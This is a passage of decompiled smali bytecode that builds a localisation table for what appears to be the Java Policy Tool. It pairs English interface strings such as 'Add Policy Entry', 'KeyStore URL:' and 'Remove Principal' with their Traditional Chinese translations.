                                                                              1766aput-object v2, v0, v1
                                                                              1767const/16 v1, 0xc4
                                                                              1768new-array v2, v6, [Ljava/lang/Object;
                                                                              1770const-string v3, "New"
                                                                              1771aput-object v3, v2, v4
                                                                              1773const-string v3, "\u65b0\u589e"
                                                                              1774aput-object v3, v2, v5
                                                                              1775aput-object v2, v0, v1
                                                                              1776const/16 v1, 0xc5
                                                                              1777new-array v2, v6, [Ljava/lang/Object;
                                                                              1779const-string v3, "Open"
                                                                              1780aput-object v3, v2, v4
                                                                              1782const-string v3, "\u958b\u555f"
                                                                              1783aput-object v3, v2, v5
                                                                              1784aput-object v2, v0, v1
                                                                              1785const/16 v1, 0xc6
                                                                              1786new-array v2, v6, [Ljava/lang/Object;
                                                                              1788const-string v3, "Save"
                                                                              1789aput-object v3, v2, v4
                                                                              1791const-string v3, "\u5132\u5b58"
                                                                              1792aput-object v3, v2, v5
                                                                              1793aput-object v2, v0, v1
                                                                              1794const/16 v1, 0xc7
                                                                              1795new-array v2, v6, [Ljava/lang/Object;
                                                                              1797const-string v3, "Save As"
                                                                              1798aput-object v3, v2, v4
                                                                              1800const-string v3, "\u53e6\u5b58\u65b0\u6a94"
                                                                              1801aput-object v3, v2, v5
                                                                              1802aput-object v2, v0, v1
                                                                              1803const/16 v1, 0xc8
                                                                              1804new-array v2, v6, [Ljava/lang/Object;
                                                                              1806const-string v3, "View Warning Log"
                                                                              1807aput-object v3, v2, v4
                                                                              1809const-string v3, "\u6aa2\u8996\u8b66\u544a\u8a18\u9304"
                                                                              1810aput-object v3, v2, v5
                                                                              1811aput-object v2, v0, v1
                                                                              1812const/16 v1, 0xc9
                                                                              1813new-array v2, v6, [Ljava/lang/Object;
                                                                              1815const-string v3, "Exit"
                                                                              1816aput-object v3, v2, v4
                                                                              1818const-string v3, "\u96e2\u958b"
                                                                              1819aput-object v3, v2, v5
                                                                              1820aput-object v2, v0, v1
                                                                              1821const/16 v1, 0xca
                                                                              1822new-array v2, v6, [Ljava/lang/Object;
                                                                              1824const-string v3, "Add Policy Entry"
                                                                              1825aput-object v3, v2, v4
                                                                              1827const-string v3, "\u65b0\u589e\u898f\u5247\u9805\u76ee"
                                                                              1828aput-object v3, v2, v5
                                                                              1829aput-object v2, v0, v1
                                                                              1830const/16 v1, 0xcb
                                                                              1831new-array v2, v6, [Ljava/lang/Object;
                                                                              1833const-string v3, "Edit Policy Entry"
                                                                              1834aput-object v3, v2, v4
                                                                              1836const-string v3, "\u7de8\u8f2f\u898f\u5247\u9805\u76ee"
                                                                              1837aput-object v3, v2, v5
                                                                              1838aput-object v2, v0, v1
                                                                              1839const/16 v1, 0xcc
                                                                              1840new-array v2, v6, [Ljava/lang/Object;
                                                                              1842const-string v3, "Remove Policy Entry"
                                                                              1843aput-object v3, v2, v4
                                                                              1845const-string v3, "\u79fb\u9664\u898f\u5247\u9805\u76ee"
                                                                              1846aput-object v3, v2, v5
                                                                              1847aput-object v2, v0, v1
                                                                              1848const/16 v1, 0xcd
                                                                              1849new-array v2, v6, [Ljava/lang/Object;
                                                                              1851const-string v3, "Edit"
                                                                              1852aput-object v3, v2, v4
                                                                              1854const-string v3, "\u7de8\u8f2f"
                                                                              1855aput-object v3, v2, v5
                                                                              1856aput-object v2, v0, v1
                                                                              1857const/16 v1, 0xce
                                                                              1858new-array v2, v6, [Ljava/lang/Object;
                                                                              1860const-string v3, "Retain"
                                                                              1861aput-object v3, v2, v4
                                                                              1863const-string v3, "\u4fdd\u7559"
                                                                              1864aput-object v3, v2, v5
                                                                              1865aput-object v2, v0, v1
                                                                              1866const/16 v1, 0xcf
                                                                              1867new-array v2, v6, [Ljava/lang/Object;
                                                                              1869const-string v3, "Warning: File name may include escaped backslash characters. It is not necessary to escape backslash characters (the tool escapes characters as necessary when writing the policy contents to the persistent store).\n\nClick on Retain to retain the entered name, or click on Edit to edit the name."
                                                                              1870aput-object v3, v2, v4
                                                                              1872const-string v3, "Warning: File name may include escaped backslash characters. It is not necessary to escape backslash characters (the tool escapes characters as necessary when writing the policy contents to the persistent store).\n\nClick on Retain to retain the entered name, or click on Edit to edit the name."
                                                                              1873aput-object v3, v2, v5
                                                                              1874aput-object v2, v0, v1
                                                                              1875const/16 v1, 0xd0
                                                                              1876new-array v2, v6, [Ljava/lang/Object;
                                                                              1878const-string v3, "Add Public Key Alias"
                                                                              1879aput-object v3, v2, v4
                                                                              1881const-string v3, "\u65b0\u589e\u516c\u958b\u91d1\u9470\u5225\u540d"
                                                                              1882aput-object v3, v2, v5
                                                                              1883aput-object v2, v0, v1
                                                                              1884const/16 v1, 0xd1
                                                                              1885new-array v2, v6, [Ljava/lang/Object;
                                                                              1887const-string v3, "Remove Public Key Alias"
                                                                              1888aput-object v3, v2, v4
                                                                              1890const-string v3, "\u79fb\u9664\u516c\u958b\u91d1\u9470\u5225\u540d"
                                                                              1891aput-object v3, v2, v5
                                                                              1892aput-object v2, v0, v1
                                                                              1893const/16 v1, 0xd2
                                                                              1894new-array v2, v6, [Ljava/lang/Object;
                                                                              1896const-string v3, "File"
                                                                              1897aput-object v3, v2, v4
                                                                              1899const-string v3, "\u6a94\u6848"
                                                                              1900aput-object v3, v2, v5
                                                                              1901aput-object v2, v0, v1
                                                                              1902const/16 v1, 0xd3
                                                                              1903new-array v2, v6, [Ljava/lang/Object;
                                                                              1905const-string v3, "KeyStore"
                                                                              1906aput-object v3, v2, v4
                                                                              1908const-string v3, "\u91d1\u9470\u5132\u5b58\u5eab"
                                                                              1909aput-object v3, v2, v5
                                                                              1910aput-object v2, v0, v1
                                                                              1911const/16 v1, 0xd4
                                                                              1912new-array v2, v6, [Ljava/lang/Object;
                                                                              1914const-string v3, "Policy File:"
                                                                              1915aput-object v3, v2, v4
                                                                              1917const-string v3, "\u898f\u5247\u6a94\u6848\uff1a"
                                                                              1918aput-object v3, v2, v5
                                                                              1919aput-object v2, v0, v1
                                                                              1920const/16 v1, 0xd5
                                                                              1921new-array v2, v6, [Ljava/lang/Object;
                                                                              1923const-string v3, "Could not open policy file: policyFile: e.toString()"
                                                                              1924aput-object v3, v2, v4
                                                                              1926const-string v3, "\u7121\u6cd5\u958b\u555f\u7b56\u7565\u6a94\u6848\uff1a{0}\uff1a{1}"
                                                                              1927aput-object v3, v2, v5
                                                                              1928aput-object v2, v0, v1
                                                                              1929const/16 v1, 0xd6
                                                                              1930new-array v2, v6, [Ljava/lang/Object;
                                                                              1932const-string v3, "Policy Tool"
                                                                              1933aput-object v3, v2, v4
                                                                              1935const-string v3, "\u898f\u5247\u5de5\u5177"
                                                                              1936aput-object v3, v2, v5
                                                                              1937aput-object v2, v0, v1
                                                                              1938const/16 v1, 0xd7
                                                                              1939new-array v2, v6, [Ljava/lang/Object;
                                                                              1941const-string v3, "Errors have occurred while opening the policy configuration. View the Warning Log for more information."
                                                                              1942aput-object v3, v2, v4
                                                                              1944const-string v3, "\u958b\u555f\u898f\u5247\u8a18\u7f6e\u6642\u767c\u751f\u932f\u8aa4\u3002 \u8acb\u6aa2\u8996\u8b66\u544a\u8a18\u9304\u4ee5\u53d6\u5f97\u66f4\u591a\u7684\u8cc7\u8a0a"
                                                                              1945aput-object v3, v2, v5
                                                                              1946aput-object v2, v0, v1
                                                                              1947const/16 v1, 0xd8
                                                                              1948new-array v2, v6, [Ljava/lang/Object;
                                                                              1950const-string v3, "Error"
                                                                              1951aput-object v3, v2, v4
                                                                              1953const-string v3, "\u932f\u8aa4"
                                                                              1954aput-object v3, v2, v5
                                                                              1955aput-object v2, v0, v1
                                                                              1956const/16 v1, 0xd9
                                                                              1957new-array v2, v6, [Ljava/lang/Object;
                                                                              1959const-string v3, "OK"
                                                                              1960aput-object v3, v2, v4
                                                                              1962const-string v3, "\u78ba\u8a8d"
                                                                              1963aput-object v3, v2, v5
                                                                              1964aput-object v2, v0, v1
                                                                              1965const/16 v1, 0xda
                                                                              1966new-array v2, v6, [Ljava/lang/Object;
                                                                              1968const-string v3, "Status"
                                                                              1969aput-object v3, v2, v4
                                                                              1971const-string v3, "\u72c0\u614b"
                                                                              1972aput-object v3, v2, v5
                                                                              1973aput-object v2, v0, v1
                                                                              1974const/16 v1, 0xdb
                                                                              1975new-array v2, v6, [Ljava/lang/Object;
                                                                              1977const-string v3, "Warning"
                                                                              1978aput-object v3, v2, v4
                                                                              1980const-string v3, "\u8b66\u544a"
                                                                              1981aput-object v3, v2, v5
                                                                              1982aput-object v2, v0, v1
                                                                              1983const/16 v1, 0xdc
                                                                              1984new-array v2, v6, [Ljava/lang/Object;
                                                                              1986const-string v3, "Permission: "
                                                                              1987aput-object v3, v2, v4
                                                                              1989const-string v3, "\u8a31\u53ef\uff1a "
                                                                              1990aput-object v3, v2, v5
                                                                              1991aput-object v2, v0, v1
                                                                              1992const/16 v1, 0xdd
                                                                              1993new-array v2, v6, [Ljava/lang/Object;
                                                                              1995const-string v3, "Principal Type:"
                                                                              1996aput-object v3, v2, v4
                                                                              1998const-string v3, "Principal \u985e\u578b\uff1a"
                                                                              1999aput-object v3, v2, v5
                                                                              2000aput-object v2, v0, v1
                                                                              2001const/16 v1, 0xde
                                                                              2002new-array v2, v6, [Ljava/lang/Object;
                                                                              2004const-string v3, "Principal Name:"
                                                                              2005aput-object v3, v2, v4
                                                                              2007const-string v3, "Principal \u540d\u7a31\uff1a"
                                                                              2008aput-object v3, v2, v5
                                                                              2009aput-object v2, v0, v1
                                                                              2010const/16 v1, 0xdf
                                                                              2011new-array v2, v6, [Ljava/lang/Object;
                                                                              2013const-string v3, "Target Name: "
                                                                              2014aput-object v3, v2, v4
                                                                              2016const-string v3, "\u76ee\u6a19\u540d\u7a31\uff1a "
                                                                              2017aput-object v3, v2, v5
                                                                              2018aput-object v2, v0, v1
                                                                              2019const/16 v1, 0xe0
                                                                              2020new-array v2, v6, [Ljava/lang/Object;
                                                                              2022const-string v3, "Actions: "
                                                                              2023aput-object v3, v2, v4
                                                                              2025const-string v3, "\u52d5\u4f5c\uff1a "
                                                                              2026aput-object v3, v2, v5
                                                                              2027aput-object v2, v0, v1
                                                                              2028const/16 v1, 0xe1
                                                                              2029new-array v2, v6, [Ljava/lang/Object;
                                                                              2031const-string v3, "OK to overwrite existing file filename?"
                                                                              2032aput-object v3, v2, v4
                                                                              2034const-string v3, "\u78ba\u8a8d\u8986\u5beb\u73fe\u5b58\u7684\u6a94\u6848 {0}\uff1f"
                                                                              2035aput-object v3, v2, v5
                                                                              2036aput-object v2, v0, v1
                                                                              2037const/16 v1, 0xe2
                                                                              2038new-array v2, v6, [Ljava/lang/Object;
                                                                              2040const-string v3, "Cancel"
                                                                              2041aput-object v3, v2, v4
                                                                              2043const-string v3, "\u53d6\u6d88"
                                                                              2044aput-object v3, v2, v5
                                                                              2045aput-object v2, v0, v1
                                                                              2046const/16 v1, 0xe3
                                                                              2047new-array v2, v6, [Ljava/lang/Object;
                                                                              2049const-string v3, "CodeBase:"
                                                                              2050aput-object v3, v2, v4
                                                                              2052const-string v3, "CodeBase:"
                                                                              2053aput-object v3, v2, v5
                                                                              2054aput-object v2, v0, v1
                                                                              2055const/16 v1, 0xe4
                                                                              2056new-array v2, v6, [Ljava/lang/Object;
                                                                              2058const-string v3, "SignedBy:"
                                                                              2059aput-object v3, v2, v4
                                                                              2061const-string v3, "SignedBy:"
                                                                              2062aput-object v3, v2, v5
                                                                              2063aput-object v2, v0, v1
                                                                              2064const/16 v1, 0xe5
                                                                              2065new-array v2, v6, [Ljava/lang/Object;
                                                                              2067const-string v3, "Add Principal"
                                                                              2068aput-object v3, v2, v4
                                                                              2070const-string v3, "\u65b0\u589e Principal"
                                                                              2071aput-object v3, v2, v5
                                                                              2072aput-object v2, v0, v1
                                                                              2073const/16 v1, 0xe6
                                                                              2074new-array v2, v6, [Ljava/lang/Object;
                                                                              2076const-string v3, "Edit Principal"
                                                                              2077aput-object v3, v2, v4
                                                                              2079const-string v3, "\u7de8\u8f2f Principal"
                                                                              2080aput-object v3, v2, v5
                                                                              2081aput-object v2, v0, v1
                                                                              2082const/16 v1, 0xe7
                                                                              2083new-array v2, v6, [Ljava/lang/Object;
                                                                              2085const-string v3, "Remove Principal"
                                                                              2086aput-object v3, v2, v4
                                                                              2088const-string v3, "\u79fb\u9664 Principal"
                                                                              2089aput-object v3, v2, v5
                                                                              2090aput-object v2, v0, v1
                                                                              2091const/16 v1, 0xe8
                                                                              2092new-array v2, v6, [Ljava/lang/Object;
                                                                              2094const-string v3, "Principals:"
                                                                              2095aput-object v3, v2, v4
                                                                              2097const-string v3, "Principals\uff1a"
                                                                              2098aput-object v3, v2, v5
                                                                              2099aput-object v2, v0, v1
                                                                              2100const/16 v1, 0xe9
                                                                              2101new-array v2, v6, [Ljava/lang/Object;
                                                                              2103const-string v3, " Add Permission"
                                                                              2104aput-object v3, v2, v4
                                                                              2106const-string v3, " \u65b0\u589e\u8a31\u53ef\u6b0a"
                                                                              2107aput-object v3, v2, v5
                                                                              2108aput-object v2, v0, v1
                                                                              2109const/16 v1, 0xea
                                                                              2110new-array v2, v6, [Ljava/lang/Object;
                                                                              2112const-string v3, " Edit Permission"
                                                                              2113aput-object v3, v2, v4
                                                                              2115const-string v3, " \u7de8\u8f2f\u8a31\u53ef\u6b0a"
                                                                              2116aput-object v3, v2, v5
                                                                              2117aput-object v2, v0, v1
                                                                              2118const/16 v1, 0xeb
                                                                              2119new-array v2, v6, [Ljava/lang/Object;
                                                                              2121const-string v3, "Remove Permission"
                                                                              2122aput-object v3, v2, v4
                                                                              2124const-string v3, "\u79fb\u9664\u8a31\u53ef\u6b0a"
                                                                              2125aput-object v3, v2, v5
                                                                              2126aput-object v2, v0, v1
                                                                              2127const/16 v1, 0xec
                                                                              2128new-array v2, v6, [Ljava/lang/Object;
                                                                              2130const-string v3, "Done"
                                                                              2131aput-object v3, v2, v4
                                                                              2133const-string v3, "\u5b8c\u6210"
                                                                              2134aput-object v3, v2, v5
                                                                              2135aput-object v2, v0, v1
                                                                              2136const/16 v1, 0xed
                                                                              2137new-array v2, v6, [Ljava/lang/Object;
                                                                              2139const-string v3, "KeyStore URL:"
                                                                              2140aput-object v3, v2, v4
                                                                              2142const-string v3, "\u91d1\u9470\u5132\u5b58\u5eab URL\uff1a"
                                                                              2143aput-object v3, v2, v5
                                                                              2144aput-object v2, v0, v1
                                                                              2145const/16 v1, 0xee
                                                                              2146new-array v2, v6, [Ljava/lang/Object;
                                                                              2148const-string v3, "KeyStore Type:"
                                                                              2149aput-object v3, v2, v4
                                                                              2151const-string v3, "\u91d1\u9470\u5132\u5b58\u5eab\u985e\u578b\ufe30"
                                                                              2152aput-object v3, v2, v5
                                                                              2153aput-object v2, v0, v1
                                                                              2154const/16 v1, 0xef
                                                                              2155new-array v2, v6, [Ljava/lang/Object;
                                                                              2157const-string v3, "KeyStore Provider:"
                                                                              2158aput-object v3, v2, v4
                                                                              2160const-string v3, "\u91d1\u9470\u5132\u5b58\u5eab\u63d0\u4f9b\u8005\ufe30"
                                                                              2161aput-object v3, v2, v5
                                                                              2162aput-object v2, v0, v1
                                                                              2163const/16 v1, 0xf0
                                                                              2164new-array v2, v6, [Ljava/lang/Object;
                                                                              2166const-string v3, "KeyStore Password URL:"
                                                                              2167aput-object v3, v2, v4
                                                                              2169const-string v3, "\u91d1\u9470\u5132\u5b58\u5eab\u5bc6\u78bc URL\uff1a"
                                                                              2170aput-object v3, v2, v5
                                                                              2171aput-object v2, v0, v1
                                                                              2172const/16 v1, 0xf1
                                                                              2173new-array v2, v6, [Ljava/lang/Object;
                                                                              2175const-string v3, "Principals"
                                                                              2176aput-object v3, v2, v4
                                                                              2178const-string v3, "Principals"
                                                                              2179aput-object v3, v2, v5
                                                                              2180aput-object v2, v0, v1
                                                                              2181const/16 v1, 0xf2
                                                                              2182new-array v2, v6, [Ljava/lang/Object;
                                                                              2184const-string v3, " Edit Principal:"
                                                                              2185aput-object v3, v2, v4
                                                                              2187const-string v3, " \u7de8\u8f2f Principal\uff1a"
                                                                              2188aput-object v3, v2, v5
                                                                              2189aput-object v2, v0, v1
                                                                              2190const/16 v1, 0xf3
                                                                              2191new-array v2, v6, [Ljava/lang/Object;
                                                                              2193const-string v3, " Add New Principal:"
                                                                              2194aput-object v3, v2, v4
                                                                              2196const-string v3, " \u52a0\u5165\u65b0 Principal\uff1a"
                                                                              2197aput-object v3, v2, v5
                                                                              2198aput-object v2, v0, v1
                                                                              2199const/16 v1, 0xf4
                                                                              2200new-array v2, v6, [Ljava/lang/Object;
                                                                              2202const-string v3, "Permissions"
                                                                              2203aput-object v3, v2, v4
                                                                              2205const-string v3, "\u8a31\u53ef\u6b0a"
                                                                              2206aput-object v3, v2, v5
                                                                              2207aput-object v2, v0, v1
                                                                              2208const/16 v1, 0xf5
                                                                              2209new-array v2, v6, [Ljava/lang/Object;
                                                                              2211const-string v3, " Edit Permission:"
                                                                              2212aput-object v3, v2, v4
                                                                              2214const-string v3, " \u7de8\u8f2f\u8a31\u53ef\u6b0a"
                                                                              2215aput-object v3, v2, v5
                                                                              2216aput-object v2, v0, v1
                                                                              2217const/16 v1, 0xf6
                                                                              2218new-array v2, v6, [Ljava/lang/Object;
                                                                              2220const-string v3, " Add New Permission:"
                                                                              2221aput-object v3, v2, v4
                                                                              2223const-string v3, " \u52a0\u5165\u65b0\u7684\u8a31\u53ef\u6b0a"
                                                                              2224aput-object v3, v2, v5
                                                                              2225aput-object v2, v0, v1
                                                                              2226const/16 v1, 0xf7
                                                                              2227new-array v2, v6, [Ljava/lang/Object;
                                                                              2229const-string v3, "Signed By:"
                                                                              2230aput-object v3, v2, v4
                                                                              2232const-string v3, "\u7c3d\u7f72\u4eba\uff1a"
                                                                              2233aput-object v3, v2, v5
                                                                              2234aput-object v2, v0, v1
                                                                              2235const/16 v1, 0xf8
                                                                              2236new-array v2, v6, [Ljava/lang/Object;
                                                                              2238const-string v3, "Cannot Specify Principal with a Wildcard Class without a Wildcard Name"
                                                                              2239aput-object v3, v2, v4
                                                                              2241const-string v3, "\u6c92\u6709\u901a\u914d\u7b26\u865f\u540d\u7a31\uff0c\u7121\u6cd5\u6307\u5b9a\u542b\u6709\u901a\u914d\u7b26\u865f\u985e\u5225\u7684 Principal"
                                                                              2242aput-object v3, v2, v5
                                                                              2243aput-object v2, v0, v1
                                                                              2244const/16 v1, 0xf9
                                                                              2245new-array v2, v6, [Ljava/lang/Object;
                                                                              2247const-string v3, "Cannot Specify Principal without a Name"
                                                                              2248aput-object v3, v2, v4
                                                                              2250const-string v3, "\u6c92\u6709\u540d\u7a31\uff0c\u7121\u6cd5\u6307\u5b9a Principal"
                                                                              2251aput-object v3, v2, v5
                                                                              2252aput-object v2, v0, v1
                                                                              2253const/16 v1, 0xfa
                                                                              2254new-array v2, v6, [Ljava/lang/Object;
                                                                              2256const-string v3, "Permission and Target Name must have a value"
                                                                              2257aput-object v3, v2, v4
                                                                              2259const-string v3, "\u8a31\u53ef\u6b0a\u53ca\u76ee\u6a19\u5fc5\u9808\u6709\u4e00\u500b\u503c\u3002"
                                                                              2260aput-object v3, v2, v5
                                                                              2261aput-object v2, v0, v1
                                                                              2262const/16 v1, 0xfb
                                                                              2263new-array v2, v6, [Ljava/lang/Object;
                                                                              2265const-string v3, "Remove this Policy Entry?"
                                                                              2266aput-object v3, v2, v4
                                                                              2268const-string v3, "\u79fb\u9664\u9019\u500b\u898f\u5247\u9805\u76ee\uff1f"
                                                                              2269aput-object v3, v2, v5
                                                                              2270aput-object v2, v0, v1
                                                                              2271const/16 v1, 0xfc
                                                                              2272new-array v2, v6, [Ljava/lang/Object;
                                                                              2274const-string v3, "Overwrite File"
                                                                              2275aput-object v3, v2, v4
                                                                              2277const-string v3, "\u8986\u5beb\u6a94\u6848"
                                                                              2278aput-object v3, v2, v5
                                                                              2279aput-object v2, v0, v1
                                                                              2280const/16 v1, 0xfd
                                                                              2281new-array v2, v6, [Ljava/lang/Object;
                                                                              2283const-string v3, "Policy successfully written to filename"
                                                                              2284aput-object v3, v2, v4
                                                                              2286const-string v3, "\u898f\u5247\u6210\u529f\u5beb\u81f3 {0}"
                                                                              2287aput-object v3, v2, v5
                                                                              2288aput-object v2, v0, v1
                                                                              2289const/16 v1, 0xfe
                                                                              2290new-array v2, v6, [Ljava/lang/Object;
                                                                              2292const-string v3, "null filename"
                                                                              2293aput-object v3, v2, v4
                                                                              2295const-string v3, "\u7121\u6548\u7684\u6a94\u540d"
                                                                              2296aput-object v3, v2, v5
                                                                              2297aput-object v2, v0, v1
                                                                              2298const/16 v1, 0xff
                                                                              2299new-array v2, v6, [Ljava/lang/Object;
                                                                              2301const-string v3, "Save changes?"
                                                                              2302aput-object v3, v2, v4
                                                                              2304const-string v3, "\u5132\u5b58\u8b8a\u66f4\uff1f"
                                                                              2305aput-object v3, v2, v5
                                                                              2306aput-object v2, v0, v1
                                                                              2307const/16 v1, 0x100
                                                                              2308new-array v2, v6, [Ljava/lang/Object;
                                                                              2310const-string v3, "Yes"
                                                                              2311aput-object v3, v2, v4
                                                                              2313const-string v3, "\u662f"
                                                                              2314aput-object v3, v2, v5
                                                                              2315aput-object v2, v0, v1
                                                                              2316const/16 v1, 0x101
                                                                              2317new-array v2, v6, [Ljava/lang/Object;
                                                                              2319const-string v3, "No"
                                                                              2320aput-object v3, v2, v4
                                                                              2322const-string v3, "\u5426"
                                                                              2323aput-object v3, v2, v5
                                                                              2324aput-object v2, v0, v1
                                                                              2325const/16 v1, 0x102
                                                                              2326new-array v2, v6, [Ljava/lang/Object;
                                                                              2328const-string v3, "Policy Entry"
                                                                              2329aput-object v3, v2, v4
                                                                              2331const-string v3, "\u898f\u5247\u9805\u76ee"
                                                                              2332aput-object v3, v2, v5
                                                                              2333aput-object v2, v0, v1
                                                                              2334const/16 v1, 0x103
                                                                              2335new-array v2, v6, [Ljava/lang/Object;
                                                                              2337const-string v3, "Save Changes"
                                                                              2338aput-object v3, v2, v4
                                                                              2340const-string v3, "\u5132\u5b58\u8b8a\u66f4"
                                                                              2341aput-object v3, v2, v5
                                                                              2342aput-object v2, v0, v1
                                                                              2343const/16 v1, 0x104
                                                                              2344new-array v2, v6, [Ljava/lang/Object;
                                                                              2346const-string v3, "No Policy Entry selected"
                                                                              2347aput-object v3, v2, v4
                                                                              2349const-string v3, "\u6c92\u6709\u9078\u53d6\u898f\u5247\u9805\u76ee"
                                                                              2350aput-object v3, v2, v5
                                                                              2351aput-object v2, v0, v1
                                                                              2352const/16 v1, 0x105
                                                                              2353new-array v2, v6, [Ljava/lang/Object;
                                                                              2355const-string v3, "Unable to open KeyStore: ex.toString()"
                                                                              2356aput-object v3, v2, v4
                                                                              2358const-string v3, "\u7121\u6cd5\u958b\u555f\u91d1\u9470\u5132\u5b58\u5eab\uff1a{0}"
                                                                              2359aput-object v3, v2, v5
                                                                              2360aput-object v2, v0, v1
                                                                              2361const/16 v1, 0x106
                                                                              2362new-array v2, v6, [Ljava/lang/Object;
                                                                              2364const-string v3, "No principal selected"
                                                                              2365aput-object v3, v2, v4
                                                                              2367const-string v3, "\u672a\u9078\u53d6 Principal"
                                                                              2368aput-object v3, v2, v5
                                                                              2369aput-object v2, v0, v1
                                                                              2370const/16 v1, 0x107
                                                                              2371new-array v2, v6, [Ljava/lang/Object;
                                                                              2373const-string v3, "No permission selected"
                                                                              2374aput-object v3, v2, v4
                                                                              2376const-string v3, "\u6c92\u6709\u9078\u53d6\u8a31\u53ef\u6b0a"
                                                                              2377aput-object v3, v2, v5
                                                                              2378aput-object v2, v0, v1
                                                                              2379const/16 v1, 0x108
                                                                              2380new-array v2, v6, [Ljava/lang/Object;
                                                                              2382const-string v3, "name"
                                                                              2383aput-object v3, v2, v4
                                                                              2385const-string v3, "\u540d\u7a31"
                                                                              2386aput-object v3, v2, v5
                                                                              2387aput-object v2, v0, v1
                                                                              2388const/16 v1, 0x109
                                                                              2389new-array v2, v6, [Ljava/lang/Object;
                                                                              2391const-string v3, "configuration type"
                                                                              2392aput-object v3, v2, v4
                                                                              2394const-string v3, "\u914d\u7f6e\u985e\u578b"
                                                                              2395aput-object v3, v2, v5
                                                                              2396aput-object v2, v0, v1
                                                                              2397const/16 v1, 0x10a
                                                                              2398new-array v2, v6, [Ljava/lang/Object;
                                                                              2400const-string v3, "environment variable name"
                                                                              2401aput-object v3, v2, v4
                                                                              2403const-string v3, "\u74b0\u5883\u8b8a\u6578\u540d\u7a31"
                                                                              2404aput-object v3, v2, v5
                                                                              2405aput-object v2, v0, v1
                                                                              2406const/16 v1, 0x10b
                                                                              2407new-array v2, v6, [Ljava/lang/Object;
                                                                              2409const-string v3, "library name"
                                                                              2410aput-object v3, v2, v4
                                                                              2412const-string v3, "\u7a0b\u5f0f\u5eab\u540d\u7a31"
                                                                              2413aput-object v3, v2, v5
                                                                              2414aput-object v2, v0, v1
                                                                              2415const/16 v1, 0x10c
                                                                              2416new-array v2, v6, [Ljava/lang/Object;
                                                                              2418const-string v3, "package name"
                                                                              2419aput-object v3, v2, v4
                                                                              2421const-string v3, "\u5957\u88dd\u8edf\u9ad4\u540d\u7a31"
                                                                              2422aput-object v3, v2, v5
                                                                              2423aput-object v2, v0, v1
                                                                              2424const/16 v1, 0x10d
                                                                              2425new-array v2, v6, [Ljava/lang/Object;
                                                                              2427const-string v3, "policy type"
                                                                              2428aput-object v3, v2, v4
                                                                              2430const-string v3, "\u7b56\u7565\u985e\u578b"
                                                                              2431aput-object v3, v2, v5
                                                                              2432aput-object v2, v0, v1
                                                                              2433const/16 v1, 0x10e
                                                                              2434new-array v2, v6, [Ljava/lang/Object;
                                                                              2436const-string v3, "property name"
                                                                              2437aput-object v3, v2, v4
                                                                              2439const-string v3, "\u5c6c\u6027\u540d\u7a31"
                                                                              2440aput-object v3, v2, v5
                                                                              2441aput-object v2, v0, v1
                                                                              2442const/16 v1, 0x10f
                                                                              2443new-array v2, v6, [Ljava/lang/Object;
                                                                              2445const-string v3, "provider name"
                                                                              2446aput-object v3, v2, v4
                                                                              2448const-string v3, "\u63d0\u4f9b\u8005\u540d\u7a31"
                                                                              2449aput-object v3, v2, v5
                                                                              2450aput-object v2, v0, v1
                                                                              2451const/16 v1, 0x110
                                                                              2452new-array v2, v6, [Ljava/lang/Object;
                                                                              2454const-string v3, "Principal List"
                                                                              2455aput-object v3, v2, v4
                                                                              2457const-string v3, "\u4e3b\u9ad4\u6e05\u55ae"
                                                                              2458aput-object v3, v2, v5
                                                                              2459aput-object v2, v0, v1
                                                                              2460const/16 v1, 0x111
                                                                              2461new-array v2, v6, [Ljava/lang/Object;
                                                                              2463const-string v3, "Permission List"
                                                                              2464aput-object v3, v2, v4
                                                                              2466const-string v3, "\u6b0a\u9650\u6e05\u55ae"
                                                                              2467aput-object v3, v2, v5
                                                                              2468aput-object v2, v0, v1
                                                                              2469const/16 v1, 0x112
                                                                              2470new-array v2, v6, [Ljava/lang/Object;
                                                                              2472const-string v3, "Code Base"
                                                                              2473aput-object v3, v2, v4
                                                                              2475const-string v3, "\u4ee3\u78bc\u57fa\u6e96"
                                                                              2476aput-object v3, v2, v5
                                                                              2477aput-object v2, v0, v1
                                                                              2478const/16 v1, 0x113
                                                                              2479new-array v2, v6, [Ljava/lang/Object;
                                                                              2481const-string v3, "KeyStore U R L:"
                                                                              2482aput-object v3, v2, v4
                                                                              2484const-string v3, "\u91d1\u9470\u5132\u5b58\u5eab U R L\uff1a"
                                                                              2485aput-object v3, v2, v5
                                                                              2486aput-object v2, v0, v1
                                                                              2487const/16 v1, 0x114
                                                                              2488new-array v2, v6, [Ljava/lang/Object;
                                                                              2490const-string v3, "KeyStore Password U R L:"
                                                                              2491aput-object v3, v2, v4
                                                                              2493const-string v3, "\u91d1\u9470\u5132\u5b58\u5eab\u5bc6\u78bc U R L\uff1a"
                                                                              2494aput-object v3, v2, v5
                                                                              2495aput-object v2, v0, v1
                                                                              2496const/16 v1, 0x115
                                                                              2497new-array v2, v6, [Ljava/lang/Object;
                                                                              2499const-string v3, "invalid null input(s)"
                                                                              2500aput-object v3, v2, v4
                                                                              2502const-string v3, "\u7121\u6548\u7a7a\u8f38\u5165"
                                                                              2503aput-object v3, v2, v5
                                                                              2504aput-object v2, v0, v1
                                                                              2505const/16 v1, 0x116
                                                                              2506new-array v2, v6, [Ljava/lang/Object;
                                                                              2508const-string v3, "actions can only be \'read\'"
                                                                              2509aput-object v3, v2, v4
                                                                              2511const-string v3, "\u52d5\u4f5c\u53ea\u80fd\u88ab\u8b80\u53d6\'"
                                                                              2512aput-object v3, v2, v5
                                                                              2513aput-object v2, v0, v1
                                                                              2514const/16 v1, 0x117
                                                                              2515new-array v2, v6, [Ljava/lang/Object;
                                                                              2517const-string v3, "permission name [name] syntax invalid: "
                                                                              2518aput-object v3, v2, v4
                                                                              2520const-string v3, "\u8a31\u53ef\u6b0a\u540d\u7a31 [{0}] \u662f\u7121\u6548\u7684\u8a9e\u6cd5\uff1a "
                                                                              2521aput-object v3, v2, v5
                                                                              2522aput-object v2, v0, v1
                                                                              2523const/16 v1, 0x118
                                                                              2524new-array v2, v6, [Ljava/lang/Object;
                                                                              2526const-string v3, "Credential Class not followed by a Principal Class and Name"
                                                                              2527aput-object v3, v2, v4
                                                                              2529const-string v3, "\u8a8d\u8b49\u7b49\u7d1a\u672a\u63a5\u5728 Principal \u985e\u5225\u53ca\u540d\u7a31\u4e4b\u5f8c"
                                                                              2530aput-object v3, v2, v5
                                                                              2531aput-object v2, v0, v1
                                                                              2532const/16 v1, 0x119
                                                                              2533new-array v2, v6, [Ljava/lang/Object;
                                                                              2535const-string v3, "Principal Class not followed by a Principal Name"
                                                                              2536aput-object v3, v2, v4
